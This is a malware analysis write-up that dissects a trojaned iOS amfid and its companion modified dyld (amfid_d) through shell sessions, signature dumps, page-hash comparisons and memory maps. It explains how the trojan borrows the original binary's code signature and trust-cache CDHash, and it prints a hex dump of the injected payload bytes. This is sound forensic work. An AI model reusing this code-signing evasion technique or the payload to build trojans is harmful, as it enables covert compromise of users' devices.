Phontifex:/tmp root# dd if=./amfid.arch_26 of=/tmp/amfid.__TEXT_FAKE bs=0x8000 skip=1
1+0 records in
1+0 records out
32768 bytes transferred in 0.000295 secs (111106672 bytes/sec)
# And, much to our amazement - a nested Mach-O!
Phontifex:/tmp root# jtool -l /tmp/amfid.__TEXT_FAKE 
LC 00: LC_SEGMENT_64          Mem: 0x000000000-0x100000000	__PAGEZERO
LC 01: LC_SEGMENT_64          Mem: 0x100000000-0x100004000	__TEXT
	Mem: 0x100002f84-0x100003870		__TEXT.__text	(Normal)
	Mem: 0x100003870-0x100003a5c		__TEXT.__stubs	(Symbol Stubs)
	Mem: 0x100003a5c-0x100003c60		__TEXT.__stub_helper	(Normal)
	Mem: 0x100003c60-0x100003d80		__TEXT.__const	
	Mem: 0x100003d80-0x100003fb6		__TEXT.__cstring	(C-String Literals)
	Mem: 0x100003fb8-0x100004000		__TEXT.__unwind_info	
LC 02: LC_SEGMENT_64          Mem: 0x100004000-0x100008000	__DATA
	Mem: 0x100004000-0x100004088		__DATA.__got	(Non-Lazy Symbol Ptrs)
	Mem: 0x100004088-0x1000041d0		__DATA.__la_symbol_ptr	(Lazy Symbol Ptrs)
	Mem: 0x1000041d0-0x100004240		__DATA.__const	
	Mem: 0x100004240-0x100004260		__DATA.__cfstring	
LC 03: LC_SEGMENT_64          Mem: 0x100008000-0x100008000	__RESTRICT
	Mem: 0x100008000-0x100008000		__RESTRICT.__restrict	
LC 04: LC_SEGMENT_64          Mem: 0x100008000-0x10000a000	__LINKEDIT
Warning: Binding offset (32784) is past end of file (32768) - File may be truncated, or header may be corrupt
LC 05: LC_DYLD_INFO          
LC 06: LC_SYMTAB             
	Symbol table is at offset 0x86b0 (34480), 60 entries
	String table is at offset 0x8bfc (35836), 1272 bytes
LC 07: LC_DYSYMTAB           
	    1 local symbols at index     0
	    1 external symbols at index  1
	   58 undefined symbols at index 2
	   No TOC
	   No modtab
	   99 Indirect symbols at offset 0x8a70

LC 08: LC_LOAD_DYLINKER      	/usr/lib/dyld
LC 09: LC_UUID               	UUID: E4115724-159F-3261-B706-1999D101136F
LC 10: LC_VERSION_MIN_IPHONEOS	Minimum iOS  version:    8.4.0
LC 11: LC_SOURCE_VERSION     	Source Version:          134.5.2.0.0
LC 12: LC_MAIN               	Entry Point:             0x3394 (Mem: 100003394)
LC 13: LC_LOAD_DYLIB         	/usr/lib/libmis.dylib
LC 14: LC_LOAD_DYLIB         	/usr/lib/libMobileGestalt.dylib
LC 15: LC_LOAD_DYLIB         	/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
LC 16: LC_LOAD_DYLIB         	/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation
LC 17: LC_LOAD_DYLIB         	/usr/lib/libSystem.B.dylib
Warning: FUNCTION_STARTS table (34408) is past end of file (32768) - File may be truncated, or header may be corrupt
LC 18: LC_FUNCTION_STARTS    	Offset: 34408, Size: 16 (0x8668-0x8678) (past EOF!)LC 19: LC_DATA_IN_CODE       	Offset: 34424, Size: 0 (0x8678-0x8678) (past EOF!)
LC 20: LC_DYLIB_CODE_SIGN_DRS	Offset: 34424, Size: 56 (0x8678-0x86b0) (past EOF!)
LC 21: LC_CODE_SIGNATURE     	Offset: 37120, Size: 368 (0x9100-0x9270) (past EOF!)

So, we have a 32k file - truncated, but who can we compare it to...? The original /usr/libexec/amfid_0, of course!

Phontifex:/tmp root# ls -l /tmp/amfid.__TEXT_FAKE 
-rw-r--r--  1 root  wheel  32768 Jul 23 14:51 /tmp/amfid.__TEXT_FAKE
# Extract the first 32k from the real amfid (amfid_0)
Phontifex:/tmp root# ls -l /usr/libexec/amfid_0
-rwxr-xr-x  1 root  wheel  37488 Jun 25 05:57 /usr/libexec/amfid_0
Phontifex:/tmp root# dd if=/usr/libexec/amfid_0 of=/tmp/amfid_0_32k bs=32768 count=1
1+0 records in
1+0 records out
32768 bytes transferred in 0.000492 secs (66588640 bytes/sec)
# Check for differences
Phontifex:/tmp root# diff /tmp/amfid_0_32k /tmp/amfid.__TEXT_FAKE 
Phontifex:/tmp root# echo $?
0
# I seriously couldn't believe it the first time I saw.. so just to double check..
Phontifex:/tmp root# cmp /tmp/amfid_0_32k /tmp/amfid.__TEXT_FAKE 
Phontifex:/tmp root# echo $?

Inspecting the code signatures

so what about the code signatures? Note that the trojan amfid nor its nested Mach-O have a code signature. Where is it? In arch 0. Using --sig, peeking inside the signature. When used with -v, jtool displays all page hashes, instead of only complaining about signature mismatches.

Phontifex:/tmp root# jtool -v -l amfid.arch_0
Blob at offset: 37120 (368 bytes) is an embedded signature of 360 bytes, and 3 blobs
   Blob 0: Type: 0 @36: Code Directory (304 bytes)
     Version:     20100
     Flags:       adhoc (0x2)
     Identifier:  com.apple.amfid
     CDHash:	     81d21cf59ab978ff9c5a0b3065be79430cc9f734
     # of Hashes: 10 code + 2 special
     Hashes @104 size: 20 Type: SHA-1
         Requirements blob:      3a75f6db058529148e14dd7ea1b4729cc09ec973 (OK)
         Bound Info.plist:       Not Bound
         Slot   0 (File page @0x0000):   32cca3efc133b6ca916257e94f75ea16f1647e4b != eba42fd380de0e4049fefdfdd50147e2dec9767b(actual)
         Slot   1 (File page @0x1000):   NULL PAGE HASH (OK)
         Slot   2 (File page @0x2000):   3c0176e7b8ab1ebf56123dc08c88784ab219dd4a != NULL PAGE HASH(actual)
         Slot   3 (File page @0x3000):   52567ae7fc3ff5c8d84d187ae87fb9085c4947ce != NULL PAGE HASH(actual)
         Slot   4 (File page @0x4000):   2cc5ac94ab92e4cea17ccde26c5b9919f29dc4ad != 1697339a10e89e863500b50fc71ce04d1b619229(actual)
         Slot   5 (File page @0x5000):   NULL PAGE HASH (OK)
         Slot   6 (File page @0x6000):   1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d != 3c0176e7b8ab1ebf56123dc08c88784ab219dd4a(actual)
         Slot   7 (File page @0x7000):   1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d != 52567ae7fc3ff5c8d84d187ae87fb9085c4947ce(actual)
         Slot   8 (File page @0x8000):   713e8eb4d1f6aa7df4d28e7ae15f907c325e2240 (OK)
         Slot   9 (File page @0x9000):   f2195f5d35cb67fec612dbfb3375a59323182eac (OK)
      Blob 1: Type: 2 @340: Empty requirement set
      Blob 2: Type: 10000 @352: Blob Wrapper (8 bytes) (0x10000 is CMS (RFC3852) signature)

Note that even though the Mach-O only claims a single LC_CODE_SIGNATURE, there is file content. Comparing this with the original file this purports to be - /usr/libexec/amfid_0, we see:

Phontifex:/tmp root# jtool --sig -v /usr/libexec/amfid_0
Blob at offset: 37120 (368 bytes) is an embedded signature of 360 bytes, and 3 blobs
	Blob 0: Type: 0 @36: Code Directory (304 bytes)
		Version:     20100
		Flags:       adhoc (0x2)
		Identifier:  com.apple.amfid
		CDHash:	     81d21cf59ab978ff9c5a0b3065be79430cc9f734
		# of Hashes: 10 code + 2 special
		Hashes @104 size: 20 Type: SHA-1
 		        Requirements blob:      3a75f6db058529148e14dd7ea1b4729cc09ec973 (OK)
                        Bound Info.plist:       Not Bound
                        Slot   0 (File page @0x0000):   9848815bd023bc10ddd4929974a819ce5b904cba (OK)
                        Slot   1 (File page @0x1000):   NULL PAGE HASH (OK)
                        Slot   2 (File page @0x2000):   3c0176e7b8ab1ebf56123dc08c88784ab219dd4a (OK)
                        Slot   3 (File page @0x3000):   52567ae7fc3ff5c8d84d187ae87fb9085c4947ce (OK)
                        Slot   4 (File page @0x4000):   2cc5ac94ab92e4cea17ccde26c5b9919f29dc4ad (OK)
                        Slot   5 (File page @0x5000):   NULL PAGE HASH (OK)
                        Slot   6 (File page @0x6000):   NULL PAGE HASH (OK)
                        Slot   7 (File page @0x7000):   NULL PAGE HASH (OK)
                        Slot   8 (File page @0x8000):   713e8eb4d1f6aa7df4d28e7ae15f907c325e2240 (OK)
                        Slot   9 (File page @0x9000):   f2195f5d35cb67fec612dbfb3375a59323182eac (OK)
	Blob 1: Type: 2 @340: Empty requirement set
	Blob 2: Type: 10000 @352: Blob Wrapper (8 bytes) (0x10000 is CMS (RFC3852) signature)

In other words, the trojan amfid's "code signature" is derived from the real /usr/libexec/amfid_0. A similar trick, btw, is used with /usr/libexec/amfid_d, the trojan dyld, whose signature is identical save for the first 8 pages, and the very last page, which have been modified.

If we take up the trojan amfid.arch_26 - which has no code signature, and try to calculate it ourselves, we'd get:

Phontifex:/tmp root# for i in `seq 0 15`; do dd if=/tmp/amfid.arch_26 bs=0x1000 skip=$i count=1 of=/tmp/amfid_fake_page_$i ; done
Phontifex:/tmp root# for i in `seq 0 15`; do openssl sha1 ./amfid_fake_page_$i ; done
SHA1(./amfid_fake_page_0)= ca5c1c10434fbc0c26bef931e90a1c1b78a64fce # Header (must mismatch)
SHA1(./amfid_fake_page_1)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d # Page 1 (NULL)
SHA1(./amfid_fake_page_2)= 3c0176e7b8ab1ebf56123dc08c88784ab219dd4a # Page 2
SHA1(./amfid_fake_page_3)= 52567ae7fc3ff5c8d84d187ae87fb9085c4947ce # Page 3
SHA1(./amfid_fake_page_4)= 713e8eb4d1f6aa7df4d28e7ae15f907c325e2240 # Page 8
SHA1(./amfid_fake_page_5)= 1cfc6b36b2f2e61a30310982879be3354d96aa14 # Page 5 (NULL)
SHA1(./amfid_fake_page_6)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d # Page 6 (NULL)
SHA1(./amfid_fake_page_7)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d # Page 7 (NULL)
 # These are the original pages of amfid_0
SHA1(./amfid_fake_page_8)= 9848815bd023bc10ddd4929974a819ce5b904cba
SHA1(./amfid_fake_page_9)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
SHA1(./amfid_fake_page_10)= 3c0176e7b8ab1ebf56123dc08c88784ab219dd4a
SHA1(./amfid_fake_page_11)= 52567ae7fc3ff5c8d84d187ae87fb9085c4947ce
SHA1(./amfid_fake_page_12)= 2cc5ac94ab92e4cea17ccde26c5b9919f29dc4ad
SHA1(./amfid_fake_page_13)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
SHA1(./amfid_fake_page_14)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
SHA1(./amfid_fake_page_15)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d

Looking at the original amfid_0, we can see the breakdown of pages. You can do this with pagestuff(1) on OS X, or (for a better output, IMHO, jtool --pages:

# jtool --pages amfid_0
0x0-0x0 __PAGEZERO
0x0-0x4000      __TEXT
        0x2f84-0x3870   __text
        0x3870-0x3a5c   __stubs
        0x3a5c-0x3c60   __stub_helper
        0x3c60-0x3d80   __const
        0x3d80-0x3fb6   __cstring
        0x3fb8-0x4000   __unwind_info
0x4000-0x8000   __DATA   Remember 0x4000, 0x6000-0x8000 mismatch from fake code sig
        0x4000-0x4088   __got
        0x4088-0x41d0   __la_symbol_ptr
        0x41d0-0x4240   __const
        0x4240-0x4260   __cfstring
0x8000-0x9270   __LINKEDIT
        0x8000-0x8010   Rebase Info     (opcodes)
        0x8000-0x8000   __RESTRICT
        0x8000-0x8000   __restrict
        0x8010-0x81e8   Binding Info    (opcodes)
        0x81e8-0x8648   Lazy Bind Info  (opcodes)
        0x8648-0x8668   Exports                  
        0x8668-0x8678   Function Starts
        0x8678-0x86b0   Code Signature DRS
        0x8678-0x8678   Data In Code
        0x86b0-0x8a70   Symbol Table
        0x8a70-0x8bfc   Indirect Symbol Table
        0x8bfc-0x90f4   String Table
        0x9100-0x9270   Code signature

Inspecting the process

At this point, static analysis shows its clear limitations - we can't figure out exactly which #$%$#% code signature or which page goes where. It's time to inspect the code signature of the running amfid. We do this with a simple call to csops(1), which can return the code signing blob of any given PID (in this case, amfid - 165) for us:

Phontifex:~ root# cs.arm 165
Embedded code signature (360 bytes)
	Blob 0 at offset 36: Code Directory (304 bytes)
		Version:     20100
		Flags:       adhoc (0x2)
		Identifier:  com.apple.amfid
		CDHash:	     81d21cf59ab978ff9c5a0b3065be79430cc9f734
		# of Hashes: 10 code + 2 special
		Hashes @104 size: 20 Type: SHA-1		Special Slots:
			Slot -2: 3a75f6db058529148e14dd7ea1b4729cc09ec973
			Slot -1: 0000000000000000000000000000000000000000

			Slot   0 (File page @0x0000):	9848815bd023bc10ddd4929974a819ce5b904cba
			Slot   1 (File page @0x1000):	1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
			Slot   2 (File page @0x2000):	3c0176e7b8ab1ebf56123dc08c88784ab219dd4a
			Slot   3 (File page @0x3000):	52567ae7fc3ff5c8d84d187ae87fb9085c4947ce
			Slot   4 (File page @0x4000):	2cc5ac94ab92e4cea17ccde26c5b9919f29dc4ad
			Slot   5 (File page @0x5000):	1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
			Slot   6 (File page @0x6000):	1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
			Slot   7 (File page @0x7000):	1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
			Slot   8 (File page @0x8000):	713e8eb4d1f6aa7df4d28e7ae15f907c325e2240
			Slot   9 (File page @0x9000):	f2195f5d35cb67fec612dbfb3375a59323182eac

	Blob 1 at offset 340: Empty requirement set
	Blob 2 at offset 352: Blob Wrapper (8 bytes) (0x10000 is CMS (RFC3852) signature)

That '81d...734' is the hash of the code directory which - as far as XNU is concerned - is what gets validated in order to load the process. Any individual access to pages will be through the slots.. But '81d...734' is not the CD Hash we would find in the trojan /usr/libexec/amfid.. it's the CDHash of the ORIGINAL amfid (backed up as /usr/libexec/amfid_0). This CDHash is recognized by AppleMobileFileIntegrity.kext as it resides in its trust cache - and the process is allowed to execute. Note the page (slot hashes) match those of the real /usr/libexec/amfid_0 as well (compare with jtool --sig -v /usr/libexec/amfid_0 ), which makes sense, otherwise the CDHash wouldn't have validated in the first place. So all this convolution loaded the original amfidcode.

So what gives? Why go to all this trouble? We have to look deeper. Using procexp regions (the integrated vmmap support, we have the process looking like this (ignore the 2DOs - I'm still working on identifying memory tags):

Phontifex:~ root# procexp 165 regions
Mach-O                 0xea30470d 0000000100054000-0000000100058000 [  16K]r-x/r-x  /usr/libexec/amfid
Mach-O                 0xea30470d 0000000100058000-000000010005c000 [  16K]rw-/rw-  /usr/libexec/amfid
Mach-O                 0xea30470d 000000010005c000-0000000100060000 [  16K]r--/r--  /usr/libexec/amfid
Mach-O                 0xea30470d 0000000100060000-0000000100064000 [  16K]r--/r--  /usr/libexec/amfid
Mach-O                 0xea304805 0000000100064000-000000010006c000 [  32K]r--/rwx  /usr/lib/libmis.dylib
Kernel Alloc Once      0xea304235 000000010006c000-0000000100070000 [  16K]rw-/rwx  
MALLOC metadata        0xea304615 0000000100070000-0000000100074000 [  16K]r--/rwx  
MALLOC metadata        0xea304615 0000000100074000-0000000100078000 [  16K]rw-/rwx  
MALLOC guard page      0x00000000 0000000100078000-000000010007c000 [  16K]---/rwx  
MALLOC metadata        0xea30413d 000000010007c000-0000000100094000 [  96K]rw-/rwx  
MALLOC guard page      0x00000000 0000000100094000-0000000100098000 [  16K]---/rwx  
MALLOC guard page      0x00000000 0000000100098000-000000010009c000 [  16K]---/rwx  
MALLOC metadata        0xea304045 000000010009c000-00000001000b4000 [  96K]rw-/rwx  
MALLOC guard page      0x00000000 00000001000b4000-00000001000b8000 [  16K]---/rwx  
MALLOC metadata        0xea2d7695 00000001000b8000-00000001000bc000 [  16K]r--/rwx  
MALLOC_LARGE metadata  0xea2d797d 00000001000c0000-00000001000c4000 [  16K]rw-/rwx  
(2DO)                  0xeab50695 00000001000c4000-00000001000c8000 [  16K]r--/rw-  
STACK_GUARD            0x00000000 00000001000c8000-00000001000cc000 [  16K]---/rwx  
Stack                  0xecca69f5 00000001000cc000-00000001000e0000 [  80K]rw-/rwx  
MALLOC_LARGE metadata  0xecca68fd 00000001000e0000-00000001000e4000 [  16K]rw-/rwx  
(2DO)                  0x00000000 00000001000e4000-00000001000e8000 [  16K]rw-/rwx  
MALLOC_LARGE metadata  0xecca670d 00000001000e8000-00000001000ec000 [  16K]rw-/rwx  
Dispatch continuations 0xecca6aed 0000000100100000-0000000100300000 [   2M]rw-/rwx  
STACK_GUARD            0x00000000 0000000100300000-0000000100304000 [  16K]---/rwx  
Stack                  0xecca6805 0000000100304000-0000000100388000 [ 528K]rw-/rwx  
Mach-O                 0xea2a4885 000000012008c000-0000000120094000 [  32K]r-x/r-x  /usr/libexec/amfid_d (1)
Mach-O                 0xea2a4885 0000000120094000-00000001200b4000 [ 128K]r-x/r-x  /usr/libexec/amfid_d (2)
Mach-O                 0xea2a4885 00000001200b4000-00000001200b8000 [  16K]rw-/rw-  /usr/libexec/amfid_d (3)
(2DO)                  0xeb61b0bd 00000001200b8000-00000001200cc000 [  80K]rw-/rw-  
(2DO)                  0xeb61b0bd 00000001200cc000-00000001200ec000 [ 128K]rw-/rw-  
Mach-O                 0xea2a4885 00000001200ec000-00000001200fc000 [  64K]r-x/r-x  /usr/libexec/amfid_d (4)
Mach-O                 0xea2a4885 00000001200fc000-0000000120100000 [  16K]rw-/rw-  /usr/libexec/amfid_d (5)
MALLOC_TINY            0xeb53049d 0000000126500000-0000000126600000 [1024K]rw-/rwx  
MALLOC_TINY            0xecca749d 0000000126600000-0000000126700000 [1024K]rw-/rwx  
MALLOC_SMALL           0xeb5f5425 0000000126800000-0000000127000000 [   8M]rw-/rwx  
MALLOC_SMALL           0xecbba59d 0000000127000000-0000000127800000 [   8M]rw-/rwx  
STACK_GUARD            0x00000000 000000016fcac000-000000016fcb0000 [  16K]---/rwx  
Stack                  0xea2d8cdd 000000016fcb0000-000000016fda8000 [ 992K]rw-/rwx  
Stack                  0xea2d8cdd 000000016fda8000-000000016fdac000 [  16K]rw-/rwx  
Shared PMAP            0x00000000 0000000180000000-0000000190000000 [ 256M]r--/rwx  
Shared PMAP            0x00000000 0000000190000000-0000000198c00000 [ 140M]r--/rwx  
Unshared PMAP          0xea02797d 0000000198c00000-0000000198e00000 [   2M]rw-/rwx  /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Shared PMAP            0x00000000 0000000198e00000-000000019c600000 [  56M]r--/rwx  
Unshared PMAP          0xea02797d 000000019c600000-000000019c800000 [   2M]rw-/rwx  /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Unshared PMAP          0xea02797d 000000019c800000-000000019c920000 [   1M]rw-/rwx  /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Unshared PMAP          0x00000000 000000019c920000-000000019ca00000 [ 896K]r--/rwx  
Shared PMAP            0x00000000 000000019ca00000-00000001a0000000 [  54M]r--/rwx  

So, where we'd expect to normally see dyld, we see amfid_d - corroborating what we'd expect from the jtool -l listing. But that's still a partial picture: We don't know what's in the code of these Mach-O objects that were loaded

Going deeper still

To really understand what goes where, we need to inspect the trojan amfid_d. It doesn't have a code signature (aside from the detached one), but we can easily calculate what it would be using sha1 on the individual pages:

Phontifex:/tmp root# for i in `seq 0 67`; do dd if=/usr/libexec/amfid_d of=/tmp/amfid_d_page_$i bs=0x1000 skip=$i ; done
Phontifex:/tmp root# for i in `seq 0 67`; do openssl sha1 amfid_d_page_$i ; done
SHA1(amfid_d_page_0)= 286c5e21453c459a92c60317c7eeeb2e40548190  # Header (must mismatch)
SHA1(amfid_d_page_1)= 1a8eacb12a9b56d2b0c05958d8abd19c498716d2  # 1 
SHA1(amfid_d_page_2)= 7b5bf09e7553eae0237c5ed0563ab69a72067f7e  # 2 
SHA1(amfid_d_page_3)= 1dc9ac89bc6272dd43fe2dfdf5fe1fd47d208262  # 3__________________
# This gets mapped to #2 (32 pages)
SHA1(amfid_d_page_4)= 0d243b173ef69306d9105287b55ec0c0fef390df  # 0x8000
SHA1(amfid_d_page_5)= 6b7ff1f565707edb7bf4f05b467bb8251c9aa69f  # 9
SHA1(amfid_d_page_6)= 967fa242b3b7c8651bfcdac0c2c50dab4136f36c  # 10
SHA1(amfid_d_page_7)= 6583d72fe1325fccce7921a6a294ab1f587df140  # 11
SHA1(amfid_d_page_8)= 2450ac26e63fbbd80247ef0cdd17b07137fa4e10  # 12 
SHA1(amfid_d_page_9)= ceafb7083b2cab134b250020055e0a0840cc30ed  # 13..
SHA1(amfid_d_page_10)= 9284772700daff309dee309641fe29714f261ec3 # 14.. 
SHA1(amfid_d_page_11)= 8d49e3b320db84f7aa5af9f24e12f9ded7e39353 # 15
SHA1(amfid_d_page_12)= 0862343a5176f990b03fd3f454dc622ee9a64930 # 16 (0x10000...)
SHA1(amfid_d_page_13)= 0b8f0415b37212c95c028e0e87859d8f1c8e208f
SHA1(amfid_d_page_14)= b073d43e8bc673158031c66a59ba640aca216abd
SHA1(amfid_d_page_15)= 4c68b6745b965f4e1783ac948820bb1bd541cf9b
SHA1(amfid_d_page_16)= a6c18f5c7a4a1a16d277ec610f17704fd801bd2f # 20 (0x14000..)
SHA1(amfid_d_page_17)= f1ddca45fc2705e9a1dd4d1307e805d6a74c479a
SHA1(amfid_d_page_18)= 827dac91b7df430865a591dc7f9d87d237176aad
SHA1(amfid_d_page_19)= 41266ce6eaac21dacf4ba8ffcc996a3ea8eadf2d
SHA1(amfid_d_page_20)= 2bc8f025ba0dea19748dcc8e1d91fc8b248d9f1f
SHA1(amfid_d_page_21)= eda040c6e1c167c4c755ee31db4a9735e6bc61b9 # 25 (0x19000..)
SHA1(amfid_d_page_22)= 48ebf70ce9639a2d9c8999022250b66a35873a1f
SHA1(amfid_d_page_23)= 1cb2f1c0ae57e2d18afe56578ac808dc4c543e74
SHA1(amfid_d_page_24)= 289d54f7a0e60a5f00a345d98dc2bfe5a62d3c6d
SHA1(amfid_d_page_25)= 5d30f2743544fda6743f5b2d983f966748852061
SHA1(amfid_d_page_26)= aadbc9369e5f54b87516480490c1aed9d83a3102 # 30 (0x1e000..)
SHA1(amfid_d_page_27)= b87fe8be110bea3b6dfd0186e5676a3aba415dbd
SHA1(amfid_d_page_28)= e69436d8f3d577b7c3b2c4921c0e344806779f2f
SHA1(amfid_d_page_29)= b0a5658f12ff823a64ba628a76cd153c36f83ef5
SHA1(amfid_d_page_30)= acd18c588149be54772e39f63672160ce512b05e
SHA1(amfid_d_page_31)= 88efed0304dd53f82186aeb3bb5548356919f6f6 # 35 (0x23000..)
SHA1(amfid_d_page_32)= 3531b31e192d617edd4ff0d0e23008b5d62ee3bf
SHA1(amfid_d_page_33)= 43b9ec26efd815762fc30ab45ae8354be762dfe3
SHA1(amfid_d_page_34)= a5e111f2edd03d2d550c8e4442fe16f4ddf07b5c
SHA1(amfid_d_page_35)= 2a9bfcb1745876921c741c8fc79b091f4d2e50d2
# this gets mapped to #3 (4 pages)
SHA1(amfid_d_page_36)= 001e670a4d09c21e683e72c93f4f2e26cbcab36c  # 40 ...  (0x28000 = original dyld __DATA)
SHA1(amfid_d_page_37)= fab7bc825b8455ad85b1c7985e53efcff8f558bb
SHA1(amfid_d_page_38)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
SHA1(amfid_d_page_39)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
# this gets mapped to #4 (16 pages)
SHA1(amfid_d_page_40)= 59ffe3c889b020575ee249311d1efbad433ec0e6  
SHA1(amfid_d_page_41)= b790aab4bdd16075ea58eda0dbda9d5d4542b5c4
SHA1(amfid_d_page_42)= f8c57fe78ccc75aaee1c59ef4380d93c0bb6b060
SHA1(amfid_d_page_43)= e4d7e1f2715fa4d7934202afda39de0691de65af
SHA1(amfid_d_page_44)= dd3c3bb6b243ccdcd2b311abcf3711cb66d4db84
SHA1(amfid_d_page_45)= 897efc470ba1be7b005cf7ce0039270316739045
SHA1(amfid_d_page_46)= f9e3c55db127f473dac20362a403cfb4191650af  # 50 ...  (0x32000....)
SHA1(amfid_d_page_47)= c8383542da21beb44d59bcdc0cb981ae5ba8abf0
SHA1(amfid_d_page_48)= b0128d228a58d9e6ea618825557650be4f37b5c6
SHA1(amfid_d_page_49)= 5ab4e112ba6cf414a30e10bbee783dcdc7a1bc78
SHA1(amfid_d_page_50)= 3102e2411bdfca9c8fec0e1ce82f081a2b10a0e8
SHA1(amfid_d_page_51)= 3d28777ddacfa1281dfe8601512b9afebe6e7676
SHA1(amfid_d_page_52)= 9984d4c726cafe0d141858fb4ff5120fd53c8f5f  # 56 ..  (0x38000)
SHA1(amfid_d_page_53)= b49d40d43845906cdad9481288e0c84224e9da00  # xxxx (also in slot 57 of fake sig)
SHA1(amfid_d_page_54)= fcfe803331d5dd4dd9b966bd52aeeae9356bf57e  # xxxx (0x36)
SHA1(amfid_d_page_55)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d  # NULL
# This gets mapped to #5 (4 pages)
SHA1(amfid_d_page_56)= 489d86b8874964f514f8baf1a8c8921ac1667d97  # xxxx              - __FAKEDATA
SHA1(amfid_d_page_57)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d  # NULL                    |
SHA1(amfid_d_page_58)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d  # NULL                    |
SHA1(amfid_d_page_59)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d  # NULL                    |
# This gets mapped to #1 (8 pages)                         |
SHA1(amfid_d_page_60)= 7ae56fd3f6660b17eef1e321afc29e5dd76e08f3  # 0 (orig header)   - __FAKETEXT
SHA1(amfid_d_page_61)= 1a8eacb12a9b56d2b0c05958d8abd19c498716d2  # 1                       |
SHA1(amfid_d_page_62)= 7b5bf09e7553eae0237c5ed0563ab69a72067f7e  # 2                       |
SHA1(amfid_d_page_63)= 1dc9ac89bc6272dd43fe2dfdf5fe1fd47d208262  # 3                       |
SHA1(amfid_d_page_64)= ef50d217eedfaf38c13c1fbbefda0661f809e295  # 4                       |
SHA1(amfid_d_page_65)= 8bf6273d59b1afc57ade6df9a1f22eb46dd489f3  # 5                       |
SHA1(amfid_d_page_66)= 6be06cf36cef8d8e54b91cc4404dd58738df14c7  # 6                       |
SHA1(amfid_d_page_67)= 6bcfc3a16fe15c90da9b454ade7c3ba8db6e377c  # 7 -----------------------

The two binaries, then - trojan dyld and dyld - are exactly the same with respect to code, though the former is crazy mapped ("folded", if you will). They're also almost the same data wise, with a major divergence happening in dyld's 57th page, which should have been the same as the amfid_d's 53. What's so special there? Look at jtool --pages (on either binary):

0x0-0x28000	__TEXT
	0x1000-0x2236c	__text
	0x2236c-0x25c83	__cstring
	0x25c84-0x26bac	__gcc_except_tab__TEXT
	0x26bb0-0x26e70	__const
	0x26e70-0x2757c	__unwind_info
	0x26e70-0x26e70	__eh_frame
	0x28000-0x2c000	__DATA
	0x28000-0x28010	__got
	0x28010-0x290f0	__const
	0x290f0-0x29a4c	__data
	0x29a50-0x29b80	__all_image_info__DATA
0x2c000-0x3a180	__LINKEDIT
	0x2d128-0x2d428	Segment Split
	0x2d428-0x2d830	Function Starts
	0x2d830-0x313a0	Symbol Table
	0x2d830-0x2d830	Data In Code
	0x313a0-0x313a8	Indirect Symbol Table
	0x313a8-0x39c48	String Table   # 57 = 0x39 => roads diverge here.
	0x39c50-0x3a180	Code signature

That page 57 is right at the end of the string table (0x39 * 0x1000 = 0x39000). Along with the code signature, which follows, the last two pages of the file are deliberately malformed. How?

Phontifex:/tmp/final root# dd if=/usr/libexec/amfid_d.arch_1 bs=0x1000 skip=53 count=1 of=foo     
Phontifex:/tmp/final root# dd if=/usr/lib/dyld bs=0x1000 count=1 skip=57 of=bar
Phontifex:/tmp/final root# openssl sha1 foo
SHA1(foo)= b49d40d43845906cdad9481288e0c84224e9da00
Phontifex:/tmp/final root# openssl sha1 bar
SHA1(bar)= aa87ebe727caac17882f1379549e0daf348ede55
# Just show where diffs start
Phontifex:/tmp/final root# bindiff foo bar | grep -v '<' | grep -v '>'
3152,3328 - 3152,3271
 ----------
3348,4096 - 3291,4096
 ----------
Phontifex:/tmp/final root# printf "%x\n" 3152
c50

So, 0x39000 + c50 = 0x39c50 = exactly where the code signature would be. To make this clearer, do the bindiff and actually examine the output:

3152,3328 - 3152,3271 # The Trojan amfid_d
< 00000c50  e8 fd ff 90 08 e5 08 91 1f 01 00 b9 6a 8b fe 17 "............j..."
< 00000c60  fc 03 00 91 9f ef 7c 92 ff 83 00 d1 13 00 00 f0 "......|........."
< 00000c70  73 02 00 91 e0 03 13 aa 01 00 80 52 02 00 80 52 "s..........R...R"
< 00000c80  6c ce fe 97 a1 07 80 52 68 02 04 91 e8 03 00 f9 "l......Rh......."
< 00000c90  03 ce fe 97 60 02 08 91 01 00 80 52 02 00 80 52 "....`......R...R"
< 00000ca0  64 ce fe 97 a1 07 80 52 68 02 0c 91 e8 03 00 f9 "d......Rh......."
< 00000cb0  fb cd fe 97 20 00 c0 d2 c0 00 a4 f2 00 8a 9b f2 ".... ..........."
< 00000cc0  c1 fd ff f0 21 20 14 91 20 00 00 f9 c1 fd ff f0 "....! .. ......."
< 00000cd0  21 a0 20 91 20 00 00 f9 9f 03 00 91 80 03 40 f9 "!. . .........@."
< 00000ce0  61 02 42 f9 00 00 01 cb 80 03 00 f9 01 fe ff 90 "a.B............."
< 00000cf0  21 d4 07 91 20 00 80 52 20 00 00 39 c1 4c fe 17 "!... ..R ..9.L.."
 ---------- # The real dyld
> 00000c50  fa de 0c c0 00 00 05 27 00 00 00 03 00 00 00 00 ".......'........"
> 00000c60  00 00 00 24 00 00 00 02 00 00 05 13 00 01 00 00 "...$............"
> 00000c70  00 00 05 1f fa de 0c 02 00 00 04 ef 00 02 01 00 "................"
> 00000c80  00 00 00 02 00 00 00 67 00 00 00 30 00 00 00 02 ".......g...0...."
